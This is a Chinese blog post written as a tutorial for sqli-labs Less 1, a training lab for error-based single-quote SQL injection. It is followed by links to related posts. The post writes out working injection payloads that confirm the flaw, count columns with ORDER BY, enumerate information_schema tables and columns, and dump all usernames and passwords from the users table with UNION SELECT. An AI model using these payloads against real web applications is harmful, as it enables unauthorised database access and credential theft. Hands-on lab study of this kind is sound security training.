sqli-labs练习(一)-------GET-Error based-Single quotes-String

原创 2018年04月15日 20:36:53

关于sqli-labs环境的搭建在这里不讲了,网上有很多,
初始页面
这里写图片描述
判断是否存在sql注入,
输入1,成功返回了结果
这里写图片描述
输入1',报错
这里写图片描述
输入1' and 1=1%23,返回成功,
这里写图片描述
输入1' and 1=2%23,没有返回结果
这里写图片描述
此外,除了and,还有or,+,-等,不过要注意的一点是+号在url表示为%2b,-号不用表示

根据以上结果,我们就可以判定这是字符型sql注入,即需要'来表示的参数


猜解字段—-神奇的order by字句
输入1' order by 6 %23,没有返回结果,
这里写图片描述
再次输入1' order by 3 %23,成功返回结果
这里写图片描述
在输入1' order by 4 %23,没有返回结果
这里写图片描述
从以上结果可以看出,存在3个字段

接下来借助union,继续查询
输入1' union select null,null,null%23,成功返回,但是union联合语句的查询结果没有返回,通过查看源码得知,mysql_fetch_array只被调用了一次,而mysql_fetch_array从结果集中取得一行作为关联数组或数字数组或二者兼有,具体看第二个参数是什么。所以这里无论怎么折腾最后只会出来第一行的查询结果。所以这里将第一行查询结果置为空即可
这里写图片描述
输入0' union select null,null,null%23,可以看到已经返回
这里写图片描述
输入0' union select 'aa',null,null%23,有返回,但是没有第一个字段的值
这里写图片描述
输入0' union select null,'aa',null%23,第二个字段返回值
这里写图片描述
在测试第三个字段值0' union select null,null,'aa'%23,第三个字段返回值
这里写图片描述
从上面的测试结果可以知道,第2,3字段可以存放字符串,第一列没有输出


下面就可以查询数据库的各种信息了
枚举数据库
枚举数据库并提取数据遵循一种层次化的方法,首先我们提取数据库名称,然后提取表,再到列,最后才是数据本身。要想获取远程数据库的表、列,就要访问专门保存描述各种数据库结构的表。通常将这些结构描述信息成为元数据。在MySQL中,这些表都保存在information_schema数据库中

  • information_schema:
    系统数据库,记录当前数据库的数据库,表,列,用户权限等信息
  • SCHEMATA:
    储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等。

  • TABLES:
    储存mysql中的表信息,包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。

  • COLUMNS:
    储存mysql中表的列信息,包括这个表的所有列以及每个列的信息,该列是表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等。

提取数据库
在MySQL中,数据库名存放在information_schema数据库下schemata表schema_name字段中
获取系统数据库名
0' union select null,null,schema_name from information_schema.schemata%23
这里写图片描述
获取当前数据库名
0' union select null,null,database()%23,说明当前数据库名为scurity
这里写图片描述
获取数据库中的表
0' union select null,null,group_concat(table_name) from information_schema.tables where table_schema='security'%23
也可以将数据库名转为16进制字符串,这样就不用单引号了
0' union select null,null,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479%23
这里写图片描述
还有一种获取一个数据库中的表名的方法,一次获取一个表名,在这里要介绍一下limit的用法
LIMIT是MySQL内置函数,其作用是用于限制查询结果的条数。

1)其语法格式如下:

LIMIT[位置偏移量,]行数

其中,中括号里面的参数是可选参数,位置偏移量是指MySQL查询分析器要从哪一行开始显示,索引值从0开始,即第一条记录位置偏移量是0,第二条记录的位置偏移量是1,依此类推…,第二个参数为“行数”即指示返回的记录条数。

位置偏移量可以理解为跳过前xx条记录(元组).

2)基本用法

/*当没有指定位置偏移量时,只取4条时,可以这样写*/
SELECT * FROM YourTableName LIMIT 4;

/*当指定了位置偏移量时,从第3条起取4条时,可以这样写*/
/*因为索引是从0开始计数的,所以第3条对应的索引就是2*/
SELECT * FROM YourTableName LIMIT 2,4;
3)应用场合:分页

 // 后台计算出页码、页数(页大小)
 int curPage = 2;
 int pageSize = 10;
 int startRow = (curPage - 1) * pageSize;
SELECT * FROM YourTableName LIMIT startRow,pageSize;

通过改变limit的参数来获取数据库中的表名

0' union select null,null,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1%23

这里写图片描述

0' union select null,null,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1%23

这里写图片描述

0' union select null,null,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 2,1%23

这里写图片描述

0' union select null,null,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1%23

这里写图片描述

获取表中的字段名,user为我们比较关心的表,所以以表users为例说明
0' union select null,null,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'%23
这里写图片描述

列举表中所有用户名及口令
0' union select null,group_concat(username,password), group_concat(password) from users%23
这里写图片描述

当然,与前面提到个一样,通过改变limit的参数,一个一个来获取
0' union select null,null,concat_ws(':',id,username,password) from users limit 0,1%23
这里写图片描述

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/qq_34444097/article/details/79952899

ASP+JS时的"""

在ASP中basic语句中的字符串中包含JS语句,这时处理起间隔符这特殊的符号确实是件麻烦事,苦于找不到相应的资料,一时间头痛万分.现在好了,总算让我想到了解决的办法,原来我这么"后知后觉"啊,呵呵....
  • mostone
  • mostone
  • 2001-07-12 09:44:00
  • 863

sqli-labs练习 (四)------GET-Error based-Double Quotes-String

输入1,返回结果 输入1',返回结果 咦,这是咋回事?怎么都能返回结果?根据打印出来的sql语句可以看到 SELECT * FROM users WHERE id=("1'&q...
  • qq_34444097
  • qq_34444097
  • 2018-04-17 20:35:33
  • 8

sqli-lab练习(三)--------GET-Error based-Single quotes with twist-String

sql语句源代码 $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; 首先,我们先构造一个单引号注入' 我们来分...
  • qq_34444097
  • qq_34444097
  • 2018-04-16 22:02:53
  • 9

sqli-labs练习(二)----------GET-Error based-ingiter based

这一节是数字型注入, sql查询语句源码$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; 可以看到,$id并没有用单引号括起...
  • qq_34444097
  • qq_34444097
  • 2018-04-15 22:54:50
  • 5

sqli-labs练习(五)------GET-Double injection-Single Quotes-String

按提示,输入id参数1,得到回馈结果,但是没用 输入1',报错 查看报错信息near ''1'' LIMIT 0,1' at line 1 输入参数1'',没有报错, 通过以上...
  • qq_34444097
  • qq_34444097
  • 2018-04-17 22:35:43
  • 8

SQL注入练习平台sqli-labs

你是否在学习SQL注入找不到好的OJ平台,这里介绍sqli-labs项目给你,非常适合SQL注入初学者来这里升级怪兽。...
  • linyt
  • linyt
  • 2016-11-04 23:17:44
  • 7768

【SQL注入之sqli-labs】Less 1 - Less 5 练习笔记

【SQL注入之sqli-labs】Less 1 - Less 5 练习笔记0x00 部署sqli-labs这部分相信大部分人都会了,我简单推荐一种简单的组合 wamp 实现一键部署,其中包含PHP...
  • lodog1
  • lodog1
  • 2017-07-09 23:58:38
  • 241

SQLi-Labs 学习笔记(Less 21-30)

SQLi-Labs 学习笔记 SQL 百度百科:结构化查询语言,也叫做SQL,从根本上说是一种处理数据库的编程语言。对于初学者,数据库仅仅是在客户端和服务端进行数据存储。SQL通过结构化查询,关系,...
  • SmithJackHack
  • SmithJackHack
  • 2017-05-23 10:23:11
  • 954

sqli-labs学习教程(三)

第一篇链接:sqli-labs学习教程(一) 第二篇链接:sqli-labs学习教程(二) 本文转载自通过sqli-labs学习sql注入——基础挑战之less1-10 第六节:GET – Doubl...
  • qq_32400847
  • qq_32400847
  • 2016-12-06 15:41:38
  • 1387

SQLi-Labs 学习笔记(Less 31-40)

SQLi-Labs 学习笔记 SQL 百度百科:结构化查询语言,也叫做SQL,从根本上说是一种处理数据库的编程语言。对于初学者,数据库仅仅是在客户端和服务端进行数据存储。SQL通过结构化查询,关系,...
  • SmithJackHack
  • SmithJackHack
  • 2017-05-25 15:11:08
  • 791
收藏助手
不良信息举报
您举报文章:sqli-labs练习(一)-------GET-Error based-Single quotes-String
举报原因:
原因补充:

(最多只允许输入30个字)